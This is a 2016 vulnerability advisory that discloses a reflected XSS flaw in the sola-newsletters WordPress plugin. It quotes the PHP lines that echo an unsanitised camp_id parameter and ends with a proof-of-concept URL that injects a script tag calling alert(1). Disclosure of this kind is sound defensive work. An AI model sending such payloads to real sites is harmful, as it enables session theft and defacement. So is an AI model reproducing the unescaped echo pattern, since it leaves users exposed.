Advisory #: 142
Title: Reflected XSS in wordpress plugin sola-newsletters v4.0.12
Author: Larry W. Cashdollar, @_larry0
Date: 2016-02-09
Download Site: https://wordpress.org/plugins/sola-newsletters
Downloads: 30441
Vendor Notified: 2016-02-09
Export: Json
Vendor Contact: plugins@wordpress.org
Plugin Name: sola-newsletters
Vulnerability:
There is a reflected XSS vulnerability in the following php code ./sola-newsletters/includes/preview.php: 8: <a title="<?php _e('Return To Editor', 'sola'); ?>" class="button-primary" href="admin.php?page=sola-nl-menu&action=custom_template&camp_id=<?php echo $_GET['camp_id'] ?>"><?php _e('Return To Editor' ,'sola'); ?></a> 12: <a title="<?php _e('Return To Editor', 'sola'); ?>" class="button-primary" href="admin.php?page=sola-nl-menu&action=editor&camp_id=<?php echo $_GET['camp_id'] ?>"><?php _e('Return To Editor' ,'sola'); ?></a> 16: <a title="<?php _e('Confirm Campaign', 'sola'); ?>" class="button-primary sola_nl_next_btn" href="admin.php?page=sola-nl-menu&action=confirm_camp&camp_id=<?php echo $_GET['camp_id'] ?>"><?php _e('Confirm Campaign', 'sola'); ?></a> The variable camp_id appears to send unsanitized data back to the users browser.
CVE-ID: Not Released
File:./sola-newsletters/includes/preview.php
Exploit Code:
Exploit was derived from appearance of first vulnerable parameter in code, there could be more shown above.
  1. This is an untested autogenerated exploit:
  2. http://[target]/wp-content/plugins/sola-newsletters/includes/preview.php?camp_id="><script>alert(1);</script><"